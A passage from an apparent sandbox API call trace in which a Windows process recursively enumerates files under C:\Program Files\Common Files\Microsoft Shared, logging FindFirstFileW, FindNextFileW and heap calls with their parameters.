cAlternateFileName="")) returned 0x3722548 [0170.369] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.369] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9890c900, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x54a7f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9890c900, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.DLL", cAlternateFileName="")) returned 1 [0170.369] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22595900, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22595900, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xff7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ESEN.ITS", cAlternateFileName="")) returned 1 [0170.369] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 1 [0170.369] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8c79400, ftCreationTime.dwHighDateTime=0x1be6f42, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8c79400, ftLastWriteTime.dwHighDateTime=0x1be6f42, nFileSizeHigh=0x0, nFileSizeLow=0xa5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61ES.LEX", cAlternateFileName="")) returned 0 [0170.369] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.369] GetProcessHeap () returned 0x6a0000 [0170.369] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.369] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0170.369] GetProcessHeap () returned 0x6a0000 [0170.369] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.371] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.371] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0170.371] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0170.371] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.371] GetProcessHeap () returned 0x6a0000 [0170.371] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.371] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0170.371] GetProcessHeap () returned 0x6a0000 [0170.371] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.374] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0170.374] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.374] GetProcessHeap () returned 0x6a0000 [0170.374] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0170.374] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0170.375] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0170.375] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.375] GetProcessHeap () returned 0x6a0000 [0170.375] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.375] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0170.375] GetProcessHeap () returned 0x6a0000 [0170.375] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0170.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.375] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.375] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0170.375] GetProcessHeap () returned 0x6a0000 [0170.375] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.380] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.380] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0170.380] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.380] GetProcessHeap () returned 0x6a0000 [0170.380] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.380] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0170.380] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.380] GetProcessHeap () returned 0x6a0000 [0170.380] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.380] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0170.380] GetProcessHeap () returned 0x6a0000 [0170.380] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36f0508 [0170.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.383] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.383] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0170.383] GetProcessHeap () returned 0x6a0000 [0170.383] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.383] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.383] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0170.383] GetProcessHeap () returned 0x6a0000 [0170.383] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0170.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0170.386] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.386] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0170.386] FindNextFileW (in: hFindFile=0x37225c8, 